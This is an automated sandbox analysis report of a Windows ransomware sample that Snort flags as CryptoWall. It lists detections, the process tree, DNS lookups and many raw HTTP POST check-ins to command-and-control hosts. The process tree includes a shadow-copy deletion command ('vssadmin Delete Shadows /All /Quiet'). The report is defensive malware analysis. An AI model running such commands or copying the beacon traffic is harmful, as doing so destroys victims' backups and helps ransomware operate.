Loading ...

Play interactive tourEdit tour

Analysis Report yx8DBT3r5r

Overview

General Information

Sample Name:yx8DBT3r5r (renamed file extension from none to exe)
Analysis ID:373843
MD5:1cd5b3b638ec9b7de356b47eae7e0460
SHA1:074842dc1a51d65ec4d439dc504ede7afa12f25e
SHA256:ab4695d43ee20186f5e3f3e8081a648ad0ef4d184682ce8c978b866a9b086928
Infos:

Most interesting Screenshot:

Detection

Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Detected unpacking (changes PE section rights)
Early bird code injection technique detected
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
System process connects to network (likely due to code injection or exploit)
Creates autostart registry keys with suspicious names
Deletes shadow drive data (may be related to ransomware)
Disables Windows system restore
Enables a proxy for the internet explorer
Machine Learning detection for dropped file
Machine Learning detection for sample
Maps a DLL or memory area into another process
Queues an APC in another process (thread injection)
Sets a proxy for the internet explorer
Sigma detected: Suspicious Svchost Process
Tries to resolve many domain names, but no domain seems valid
Antivirus or Machine Learning detection for unpacked file
Connects to many different domains
Connects to several IPs in different countries
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains strange resources
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)

Classification

Startup

  • System is w10x64
  • yx8DBT3r5r.exe (PID: 5292 cmdline: 'C:\Users\user\Desktop\yx8DBT3r5r.exe' MD5: 1CD5B3B638EC9B7DE356B47EAE7E0460)
    • splwow64.exe (PID: 5060 cmdline: C:\Windows\splwow64.exe 12288 MD5: 8D59B31FF375059E3C32B17BF31A76D5)
    • explorer.exe (PID: 1968 cmdline: C:\Windows\syswow64\explorer.exe MD5: 166AB1B9462E5C1D6D18EC5EC0B6A5F7)
      • svchost.exe (PID: 5624 cmdline: -k netsvcs MD5: FA6C268A5B5BDA067A901764D203D433)
      • vssadmin.exe (PID: 6908 cmdline: vssadmin.exe Delete Shadows /All /Quiet MD5: 7E30B94672107D3381A1D175CF18C147)
        • conhost.exe (PID: 7024 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
  • 8e7b5.exe (PID: 5572 cmdline: 'C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exe' MD5: 1CD5B3B638EC9B7DE356B47EAE7E0460)
    • splwow64.exe (PID: 5476 cmdline: C:\Windows\splwow64.exe 12288 MD5: 8D59B31FF375059E3C32B17BF31A76D5)
  • 8e7b5.exe (PID: 6992 cmdline: 'C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exe' MD5: 1CD5B3B638EC9B7DE356B47EAE7E0460)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

System Summary:

barindex
Sigma detected: Suspicious Svchost ProcessShow sources
Source: Process startedAuthor: Florian Roth: Data: Command: -k netsvcs, CommandLine: -k netsvcs, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: C:\Windows\syswow64\explorer.exe, ParentImage: C:\Windows\SysWOW64\explorer.exe, ParentProcessId: 1968, ProcessCommandLine: -k netsvcs, ProcessId: 5624

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

barindex
Antivirus / Scanner detection for submitted sampleShow sources
Source: yx8DBT3r5r.exeAvira: detected
Antivirus detection for dropped fileShow sources
Source: C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exeAvira: detection malicious, Label: TR/Crypt.ZPACK.Gen7
Multi AV Scanner detection for dropped fileShow sources
Source: C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exeMetadefender: Detection: 65%Perma Link
Source: C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exeReversingLabs: Detection: 90%
Multi AV Scanner detection for submitted fileShow sources
Source: yx8DBT3r5r.exeVirustotal: Detection: 71%Perma Link
Source: yx8DBT3r5r.exeMetadefender: Detection: 65%Perma Link
Source: yx8DBT3r5r.exeReversingLabs: Detection: 90%
Machine Learning detection for dropped fileShow sources
Source: C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exeJoe Sandbox ML: detected
Machine Learning detection for sampleShow sources
Source: yx8DBT3r5r.exeJoe Sandbox ML: detected
Source: 0.0.yx8DBT3r5r.exe.400000.0.unpackAvira: Label: TR/Crypt.ZPACK.Gen7
Source: 9.0.8e7b5.exe.400000.0.unpackAvira: Label: TR/Crypt.ZPACK.Gen7
Source: 13.0.8e7b5.exe.400000.0.unpackAvira: Label: TR/Crypt.ZPACK.Gen7
Source: yx8DBT3r5r.exeStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED
Source: unknownHTTPS traffic detected: 172.67.70.191:443 -> 192.168.2.3:49737 version: TLS 1.2
Source: unknownHTTPS traffic detected: 157.240.17.35:443 -> 192.168.2.3:49756 version: TLS 1.2
Source: unknownHTTPS traffic detected: 156.38.154.7:443 -> 192.168.2.3:49760 version: TLS 1.2
Source: Binary string: Y:\cards\AllThings\ISD\Napster\Set.pdb source: yx8DBT3r5r.exe

Networking:

barindex
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)Show sources
Source: TrafficSnort IDS: 2018452 ET TROJAN CryptoWall Check-in 192.168.2.3:49736 -> 3.223.115.185:80
Source: TrafficSnort IDS: 2018452 ET TROJAN CryptoWall Check-in 192.168.2.3:49748 -> 81.88.57.88:80
Source: TrafficSnort IDS: 2018452 ET TROJAN CryptoWall Check-in 192.168.2.3:49752 -> 103.224.212.220:80
Source: TrafficSnort IDS: 2018452 ET TROJAN CryptoWall Check-in 192.168.2.3:49753 -> 209.151.150.34:80
Source: TrafficSnort IDS: 2018452 ET TROJAN CryptoWall Check-in 192.168.2.3:49754 -> 78.153.216.15:80
Source: TrafficSnort IDS: 2018452 ET TROJAN CryptoWall Check-in 192.168.2.3:49755 -> 178.254.0.189:80
Source: TrafficSnort IDS: 2018452 ET TROJAN CryptoWall Check-in 192.168.2.3:49757 -> 149.210.208.200:80
Source: TrafficSnort IDS: 2018452 ET TROJAN CryptoWall Check-in 192.168.2.3:49758 -> 64.190.62.111:80
Source: TrafficSnort IDS: 2018452 ET TROJAN CryptoWall Check-in 192.168.2.3:49759 -> 156.38.154.7:80
Source: TrafficSnort IDS: 2018452 ET TROJAN CryptoWall Check-in 192.168.2.3:49761 -> 173.236.34.242:80
Source: TrafficSnort IDS: 2018452 ET TROJAN CryptoWall Check-in 192.168.2.3:49762 -> 136.243.138.29:80
Source: TrafficSnort IDS: 2018452 ET TROJAN CryptoWall Check-in 192.168.2.3:49763 -> 208.80.122.2:80
Source: TrafficSnort IDS: 2018452 ET TROJAN CryptoWall Check-in 192.168.2.3:49765 -> 184.168.131.241:80
Source: TrafficSnort IDS: 2018452 ET TROJAN CryptoWall Check-in 192.168.2.3:49766 -> 109.95.158.146:80
Source: TrafficSnort IDS: 2018452 ET TROJAN CryptoWall Check-in 192.168.2.3:49767 -> 23.227.38.65:80
Source: TrafficSnort IDS: 2018452 ET TROJAN CryptoWall Check-in 192.168.2.3:49784 -> 3.223.115.185:80
Source: TrafficSnort IDS: 2018452 ET TROJAN CryptoWall Check-in 192.168.2.3:49792 -> 81.88.57.88:80
Source: TrafficSnort IDS: 2018452 ET TROJAN CryptoWall Check-in 192.168.2.3:49717 -> 67.227.226.240:80
Tries to resolve many domain names, but no domain seems validShow sources
Source: unknownDNS traffic detected: query: le-clainche.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: goodtimecharlies.biz replaycode: Name error (3)
Source: unknownDNS traffic detected: query: greenerdealz.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: healthybloodpressure.info replaycode: Name error (3)
Source: unknownDNS traffic detected: query: icsot.na.its.ac.id replaycode: Name error (3)
Source: unknownDNS traffic detected: query: ww16.kvnysoho.com replaycode: Server failure (2)
Source: unknownDNS traffic detected: query: fitness-camp.com.ua replaycode: Name error (3)
Source: unknownDNS traffic detected: query: emprende21.es replaycode: Name error (3)
Source: unknownDNS traffic detected: query: my-web.in.ua replaycode: Name error (3)
Source: unknownDNS traffic detected: query: mp3download.tfaweb.org replaycode: Name error (3)
Source: unknownDNS traffic detected: query: free-tv-shows33.tk replaycode: Name error (3)
Source: unknownDNS traffic detected: query: getxender.in replaycode: Name error (3)
Source: unknownDNS traffic detected: query: freemoviesonline665.tk replaycode: Name error (3)
Source: unknownDNS traffic detected: query: homealldaylong.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: levika.pl replaycode: Name error (3)
Source: unknownDNS traffic detected: query: e8udu6up.coolhandle-customer.com replaycode: Name error (3)
Source: unknownDNS traffic detected: query: kitchensetminimalis.tk replaycode: Name error (3)
Source: unknownDNS traffic detected: query: motorcycle-lawyer-los-angeles468.tk replaycode: Name error (3)
Source: unknownDNS traffic detected: query: hotel525.tk replaycode: Name error (3)
Source: unknownDNS traffic detected: query: kweebix.fr replaycode: Name error (3)
Source: unknownDNS traffic detected: query: ecoenergyefficiency.eu replaycode: Name error (3)
Source: unknownDNS traffic detected: query: fga-agency.com replaycode: Name error (3)
Source: unknownNetwork traffic detected: DNS query count 50
Source: unknownNetwork traffic detected: IP country count 12
Source: Joe Sandbox ViewIP Address: 172.67.70.191 172.67.70.191
Source: Joe Sandbox ViewIP Address: 184.168.131.241 184.168.131.241
Source: Joe Sandbox ViewASN Name: TRELLIAN-AS-APTrellianPtyLimitedAU TRELLIAN-AS-APTrellianPtyLimitedAU
Source: Joe Sandbox ViewJA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
Source: global trafficHTTP traffic detected: POST /_rn62Q.php?z=xl59elj25q8m HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedContent-Length: 139User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: iransun.netConnection: CloseCache-Control: no-cache
Source: global trafficHTTP traffic detected: POST /K6f1AG.php?v=xl59elj25q8m HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedContent-Length: 139User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: inicc.yucatan.gob.mxConnection: CloseCache-Control: no-cache
Source: global trafficHTTP traffic detected: POST /K6f1AG.php?v=xl59elj25q8m HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedContent-Length: 139User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: inicc.yucatan.gob.mxConnection: CloseCache-Control: no-cacheData Raw: 6d 3d 33 33 36 65 36 32 37 36 33 35 33 30 36 32 36 34 36 66 36 61 36 33 33 33 36 37 33 33 33 64 62 66 38 62 64 38 62 39 61 35 66 35 34 39 32 32 33 62 64 62 34 38 39 64 66 61 38 63 66 38 39 62 63 31 31 62 34 37 30 39 35 32 39 31 37 39 34 65 32 36 64 61 38 62 39 30 62 32 31 34 65 38 36 33 35 33 30 66 38 34 34 37 32 61 65 35 38 65 34 34 63 62 36 63 33 35 30 38 37 37 64 30 30 31 39 31 65 35 62 33 35 62 66 38 36 36 66 Data Ascii: m=336e6276353062646f6a633367333dbf8bd8b9a5f549223bdb489dfa8cf89bc11b47095291794e26da8b90b214e863530f84472ae58e44cb6c350877d00191e5b35bf866f
Source: global trafficHTTP traffic detected: POST /K6f1AG.php?v=xl59elj25q8m HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedContent-Length: 139User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: inicc.yucatan.gob.mxConnection: CloseCache-Control: no-cacheData Raw: 6d 3d 33 33 36 65 36 32 37 36 33 35 33 30 36 32 36 34 36 66 36 61 36 33 33 33 36 37 33 33 33 64 62 66 38 62 64 38 62 39 61 35 66 35 34 39 32 32 33 62 64 62 34 38 39 64 66 61 38 63 66 38 39 62 63 31 31 62 34 37 30 39 35 32 39 31 37 39 34 65 32 36 64 61 38 62 39 30 62 32 31 34 65 38 36 33 35 33 30 66 38 34 34 37 32 61 65 35 38 65 34 34 63 62 36 63 33 35 30 38 37 37 64 30 30 31 39 31 65 35 62 33 35 62 66 38 36 36 66 Data Ascii: m=336e6276353062646f6a633367333dbf8bd8b9a5f549223bdb489dfa8cf89bc11b47095291794e26da8b90b214e863530f84472ae58e44cb6c350877d00191e5b35bf866f
Source: global trafficHTTP traffic detected: POST /K6f1AG.php?v=xl59elj25q8m HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedContent-Length: 139User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: inicc.yucatan.gob.mxConnection: CloseCache-Control: no-cacheData Raw: 6d 3d 33 33 36 65 36 32 37 36 33 35 33 30 36 32 36 34 36 66 36 61 36 33 33 33 36 37 33 33 33 64 62 66 38 62 64 38 62 39 61 35 66 35 34 39 32 32 33 62 64 62 34 38 39 64 66 61 38 63 66 38 39 62 63 31 31 62 34 37 30 39 35 32 39 31 37 39 34 65 32 36 64 61 38 62 39 30 62 32 31 34 65 38 36 33 35 33 30 66 38 34 34 37 32 61 65 35 38 65 34 34 63 62 36 63 33 35 30 38 37 37 64 30 30 31 39 31 65 35 62 33 35 62 66 38 36 36 66 Data Ascii: m=336e6276353062646f6a633367333dbf8bd8b9a5f549223bdb489dfa8cf89bc11b47095291794e26da8b90b214e863530f84472ae58e44cb6c350877d00191e5b35bf866f
Source: global trafficHTTP traffic detected: POST /K6f1AG.php?v=xl59elj25q8m HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedContent-Length: 139User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: inicc.yucatan.gob.mxConnection: CloseCache-Control: no-cacheData Raw: 6d 3d 33 33 36 65 36 32 37 36 33 35 33 30 36 32 36 34 36 66 36 61 36 33 33 33 36 37 33 33 33 64 62 66 38 62 64 38 62 39 61 35 66 35 34 39 32 32 33 62 64 62 34 38 39 64 66 61 38 63 66 38 39 62 63 31 31 62 34 37 30 39 35 32 39 31 37 39 34 65 32 36 64 61 38 62 39 30 62 32 31 34 65 38 36 33 35 33 30 66 38 34 34 37 32 61 65 35 38 65 34 34 63 62 36 63 33 35 30 38 37 37 64 30 30 31 39 31 65 35 62 33 35 62 66 38 36 36 66 Data Ascii: m=336e6276353062646f6a633367333dbf8bd8b9a5f549223bdb489dfa8cf89bc11b47095291794e26da8b90b214e863530f84472ae58e44cb6c350877d00191e5b35bf866f
Source: global trafficHTTP traffic detected: POST /K6f1AG.php?v=xl59elj25q8m HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedContent-Length: 139User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: inicc.yucatan.gob.mxConnection: CloseCache-Control: no-cacheData Raw: 6d 3d 33 33 36 65 36 32 37 36 33 35 33 30 36 32 36 34 36 66 36 61 36 33 33 33 36 37 33 33 33 64 62 66 38 62 64 38 62 39 61 35 66 35 34 39 32 32 33 62 64 62 34 38 39 64 66 61 38 63 66 38 39 62 63 31 31 62 34 37 30 39 35 32 39 31 37 39 34 65 32 36 64 61 38 62 39 30 62 32 31 34 65 38 36 33 35 33 30 66 38 34 34 37 32 61 65 35 38 65 34 34 63 62 36 63 33 35 30 38 37 37 64 30 30 31 39 31 65 35 62 33 35 62 66 38 36 36 66 Data Ascii: m=336e6276353062646f6a633367333dbf8bd8b9a5f549223bdb489dfa8cf89bc11b47095291794e26da8b90b214e863530f84472ae58e44cb6c350877d00191e5b35bf866f
Source: global trafficHTTP traffic detected: POST /K6f1AG.php?v=xl59elj25q8m HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedContent-Length: 139User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: inicc.yucatan.gob.mxConnection: CloseCache-Control: no-cacheData Raw: 6d 3d 33 33 36 65 36 32 37 36 33 35 33 30 36 32 36 34 36 66 36 61 36 33 33 33 36 37 33 33 33 64 62 66 38 62 64 38 62 39 61 35 66 35 34 39 32 32 33 62 64 62 34 38 39 64 66 61 38 63 66 38 39 62 63 31 31 62 34 37 30 39 35 32 39 31 37 39 34 65 32 36 64 61 38 62 39 30 62 32 31 34 65 38 36 33 35 33 30 66 38 34 34 37 32 61 65 35 38 65 34 34 63 62 36 63 33 35 30 38 37 37 64 30 30 31 39 31 65 35 62 33 35 62 66 38 36 36 66 Data Ascii: m=336e6276353062646f6a633367333dbf8bd8b9a5f549223bdb489dfa8cf89bc11b47095291794e26da8b90b214e863530f84472ae58e44cb6c350877d00191e5b35bf866f
Source: global trafficHTTP traffic detected: POST /K6f1AG.php?v=xl59elj25q8m HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedContent-Length: 139User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: inicc.yucatan.gob.mxConnection: CloseCache-Control: no-cacheData Raw: 6d 3d 33 33 36 65 36 32 37 36 33 35 33 30 36 32 36 34 36 66 36 61 36 33 33 33 36 37 33 33 33 64 62 66 38 62 64 38 62 39 61 35 66 35 34 39 32 32 33 62 64 62 34 38 39 64 66 61 38 63 66 38 39 62 63 31 31 62 34 37 30 39 35 32 39 31 37 39 34 65 32 36 64 61 38 62 39 30 62 32 31 34 65 38 36 33 35 33 30 66 38 34 34 37 32 61 65 35 38 65 34 34 63 62 36 63 33 35 30 38 37 37 64 30 30 31 39 31 65 35 62 33 35 62 66 38 36 36 66 Data Ascii: m=336e6276353062646f6a633367333dbf8bd8b9a5f549223bdb489dfa8cf89bc11b47095291794e26da8b90b214e863530f84472ae58e44cb6c350877d00191e5b35bf866f
Source: global trafficHTTP traffic detected: POST /K6f1AG.php?v=xl59elj25q8m HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedContent-Length: 139User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: inicc.yucatan.gob.mxConnection: CloseCache-Control: no-cacheData Raw: 6d 3d 33 33 36 65 36 32 37 36 33 35 33 30 36 32 36 34 36 66 36 61 36 33 33 33 36 37 33 33 33 64 62 66 38 62 64 38 62 39 61 35 66 35 34 39 32 32 33 62 64 62 34 38 39 64 66 61 38 63 66 38 39 62 63 31 31 62 34 37 30 39 35 32 39 31 37 39 34 65 32 36 64 61 38 62 39 30 62 32 31 34 65 38 36 33 35 33 30 66 38 34 34 37 32 61 65 35 38 65 34 34 63 62 36 63 33 35 30 38 37 37 64 30 30 31 39 31 65 35 62 33 35 62 66 38 36 36 66 Data Ascii: m=336e6276353062646f6a633367333dbf8bd8b9a5f549223bdb489dfa8cf89bc11b47095291794e26da8b90b214e863530f84472ae58e44cb6c350877d00191e5b35bf866f
Source: global trafficHTTP traffic detected: POST /2MPekR.php?a=xl59elj25q8m HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedContent-Length: 139User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ibhat.comConnection: CloseCache-Control: no-cache
Source: global trafficHTTP traffic detected: POST /25PzYp.php?h=xl59elj25q8m HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedContent-Length: 139User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ladiabetesnoesmilimite.comConnection: CloseCache-Control: no-cache
Source: global trafficHTTP traffic detected: POST /eHafFT.php?g=xl59elj25q8m HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedContent-Length: 139User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: kvnysoho.comConnection: CloseCache-Control: no-cache
Source: global trafficHTTP traffic detected: POST /jKof_I.php?a=xl59elj25q8m HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedContent-Length: 139User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gracilarias.orgConnection: CloseCache-Control: no-cache
Source: global trafficHTTP traffic detected: POST /QtVACJ.php?z=xl59elj25q8m HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedContent-Length: 139User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: liftingandtransport.ieConnection: CloseCache-Control: no-cache
Source: global trafficHTTP traffic detected: POST /MKLOSB.php?l=xl59elj25q8m HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedContent-Length: 139User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: hausessen.comConnection: CloseCache-Control: no-cache
Source: global trafficHTTP traffic detected: POST /VLI5TZ.php?d=xl59elj25q8m HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedContent-Length: 139User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: lvfrance.frConnection: CloseCache-Control: no-cache
Source: global trafficHTTP traffic detected: POST /_LTi6U.php?z=xl59elj25q8m HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedContent-Length: 139User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: gamehub.inConnection: CloseCache-Control: no-cache
Source: global trafficHTTP traffic detected: POST /gMOvJe.php?z=xl59elj25q8m HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedContent-Length: 139User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: monarchrentals.co.zaConnection: CloseCache-Control: no-cache
Source: global trafficHTTP traffic detected: POST /eOUnb4.php?i=xl59elj25q8m HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedContent-Length: 139User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: intermountainautoglass.comConnection: CloseCache-Control: no-cache
Source: global trafficHTTP traffic detected: POST /v3H7qO.php?o=xl59elj25q8m HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedContent-Length: 139User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: epatio.plConnection: CloseCache-Control: no-cache
Source: global trafficHTTP traffic detected: POST /W4C1yQ.php?m=xl59elj25q8m HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedContent-Length: 139User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: mobilityconsignment.comConnection: CloseCache-Control: no-cache
Source: global trafficHTTP traffic detected: GET /W4C1yQ.php?m=xl59elj25q8m HTTP/1.1Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Cache-Control: no-cacheHost: www.mobilityconsignment.comConnection: Close
Source: global trafficHTTP traffic detected: POST /EZNpdK.php?t=xl59elj25q8m HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedContent-Length: 139User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ignitethewinter.comConnection: CloseCache-Control: no-cache
Source: global trafficHTTP traffic detected: POST /SfbqkG.php?a=xl59elj25q8m HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedContent-Length: 139User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: filtryfotograficzne.photho.plConnection: CloseCache-Control: no-cache
Source: global trafficHTTP traffic detected: POST /ZQeX0R.php?w=xl59elj25q8m HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedContent-Length: 139User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: middletons.co.ukConnection: CloseCache-Control: no-cache
Source: global trafficHTTP traffic detected: POST /_rn62Q.php?t=ninj1ehuy222 HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedContent-Length: 117User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: iransun.netConnection: CloseCache-Control: no-cache
Source: global trafficHTTP traffic detected: POST /K6f1AG.php?t=ninj1ehuy222 HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedContent-Length: 117User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: inicc.yucatan.gob.mxConnection: CloseCache-Control: no-cache
Source: global trafficHTTP traffic detected: POST /2MPekR.php?v=ninj1ehuy222 HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedContent-Length: 117User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ibhat.comConnection: CloseCache-Control: no-cache
Source: global trafficHTTP traffic detected: POST /25PzYp.php?u=ninj1ehuy222 HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedContent-Length: 117User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ladiabetesnoesmilimite.comConnection: CloseCache-Control: no-cacheCookie: dadaproaffinity=ca40f5bdcd5d21b1022d8ca52acb2e0511772ce521dde60c4249c88675e2db45
Source: C:\Windows\SysWOW64\svchost.exeCode function: 4_2_030CF100 InternetReadFile,4_2_030CF100
